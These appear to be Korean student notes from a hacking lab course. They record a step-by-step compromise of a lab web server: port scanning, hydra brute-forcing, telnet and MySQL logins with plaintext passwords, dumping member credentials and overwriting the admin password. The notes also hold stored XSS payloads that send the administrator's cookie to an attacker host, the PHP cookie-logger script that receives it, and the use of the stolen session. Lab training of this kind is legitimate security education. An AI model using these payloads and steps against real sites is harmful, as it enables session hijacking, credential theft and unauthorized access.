●26일차 (20250122026.php)
kali NAT(IP: 10.0.2.15)
일단 ping을 때려 168.126.63.1(외부)로 가는지 확인
미션1.
공격을 칼리를 이용(NAT)
Attack.py를 이용하여 또는 완성하여 192.168.0.127을 공격하라
배포된 암호와 배포된 계정으로 사용자를 찾아라
nmap -v -p1-65535 192.168.0.127
> 80, 23, 3306이 열려있음
20,21 : FTP
22 : SSH
23 : TELNET
25 : SMTP
53 : DNS
80 : HTTP
110 : POP
143 : IMAP
443 : HTTPS
3306 : MYSQL
hydra -L account.txt -P password.txt 192.168.0.127
> 이게 안돼서
telnet 192.168.0.127
id : board
password : p2puDN00
> 비밀번호 하나하나 대입해줌
> telnet을 이용해 접속
cd /home/board
> public_html이 있는 걸 보면
> 웹으로 192.168.0.127/~board로 들어갈 수 있다
> 서버에서 192.168.0.127/nayamall을 찾자
미션2.
서버가 운영중인 서비스는 무엇이며 설치된 파일의 위치는 어디인가?
ps aux
서비스1: apache
/usr/local/apache/bin/httpd
서비스2: mysql
/usr/local/mysql/libexec/mysql
미션3.
데이터베이스에 접속하라
cd /usr/local/mysql/libexec
./mysql -u root -p shop
암호: 1TLBB7Nz
> 암호에서 하나하나 수동으로 대입해봄
mysql로 들어감
use shop;
selct * from shop;
show tables;
> paran_board_member가 있음
desc paran_board_member;
select user_id,password,name,level from paran_board_member;
> 아이디 별로 비밀번호가 뜸
> 코드를 분석해서 암호를 해석
미션4.
쇼핑몰의 관리자 암호는 무엇인가?
password() 함수를 통해 저장되기 때문에 확인이 불가
> 변경해버리자
edit plus로 들어가자
> 압축 파일을 풀어서 D드라이브에 놓고 edit plus로 해당 경로에 가서 열어줬다
naymall > member_join_ok.php라는 코드가 있다
> password('$password') > password라는 함수가 있는걸 확인 가능
update paran_board_member set password=password('123456') where user_id='admin';
> admin의 비밀번호를 바꿈
미션5.
web2.st.kr에서도 확인 가능함
해커의 CSRF공격 XSS공격을 통해 관리자 쿠키 확인
#쿠키값을 가져오자
192.168.0.127/nayamall
shop.st.kr/nayamall
질문과 답변에 관리자가 읽을만한 글을 남긴다
내용에 악성 코드를 짠다
> 글만 써도 ip가 찍히기때문에 글을 쓰고 관리자가 읽으면 삭제
<script>alert('hello');</script>
> hello라는 알림창이 뜸
<script>location.href='https://daum.net';</script>
> daum.net으로 넘어감
<script>alert(document.cookie);</script>
<script>location.href='192.168.0.201/cookie.php?cookie='+document.cookie;</script>
<script>location.href='http://192.168.0.201/cookie.php?cookie='+document.cookie;</script>
> 관리자의 쿠키를 가져와보자
> 들어오는 쿠키값이 저장되게끔 하고싶다
> 데이터베이스 혹은 파일에 저장
내 쿠키
PessionID=19ff0fe429f8adb5ba788080bcee31d8
1. 포트열기
kali NAT 포트 포워딩에서 80번을 열어줌
> 포트 열기(80)
> 192.168.0.201에 들어가면 apache2가 뜸
2. 192.168.0.201에 접속
systemctl start ssh
> xshell로 192.168.0.201에 접속함
> name: kali, pw: kali
3. 세팅
nano /etc/apache2/sitess-available/000-default.conf
> /home/kali/public_html
cd ~
mkdir public_html
chmod 711 $HOME
chmod 755 ~/public_html
a2enmod userdir
> 일반계정 활성화
systemctl restart apache2
> 192.168.0.201에 흰화면이 뜸
4. 쿠키를 가져와서 파일에 저장하는 코드짜기
public_html 아래에
nano cookie.php
<?php
$cookie=$_GET['cookie'];
//echo $cookie;
$file = fopen("cookie.txt", "w");
fwrite($file, $cookie);
fclose($file);
//echo "successful";
?>
<script>location.href='https://news.naver.com/'</script>
5. 웹에서 확인
> 192.168.0.201/cookie.php 웹에 들어가면 php가 작동이 안됨
fpm 설치
PHP-FPM(FPM : FastCGI Process Manager) 설치
> sudo apt -y install php8.2-fpm
> a2enmod proxy_fcgi setenvif
> a2enconf php8.2-fpm
> systemctl restart php8.2-fpm apache2
-> 원래는 8.3을 다운받아야 하지만 버전이 안깔림
touch cookie.txt
chmod 777 cookie.txt
> 쓰기 권한 주기
6. 관리자 쿠키 가져오기
게시판에 글을 올리자
<script>location.href='http://192.168.0.201/cookie.php?cookie='+document.cookie</script>
> 관리자가 읽으면
> cat cookie.txt
> 관리자의 쿠키가 뜬다
> PessionID=ef01c8320eee0466ae3963171f98d314
데이터베이스 연결
CREATE TABLE cookie (
idx int(6),
url varchar(100),
cookie varchar(100),
reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (idx)
);
미션6.
결제설정에 은행명과 계좌는 무엇인가?
> 얻어낸 쿠키로 burp suite를 이용해 들어감
+) 계정 추가
계정
hanatour > hanatour.com
naeiltour > naeiltour.co.kr
adduser hanatour
su hanatour
cd ~
chmod 711 $HOME
chmod 755 ~/public_html
nano /etc/resolv.conf
nano /etc/bind/named.conf.default-zones
nano /etc/apache2/sites_available/hosting.conf
db 추가(localhost)
systemctl restart apache2
systemctl restart bind9
systemctl restart named
systemctl restart mysql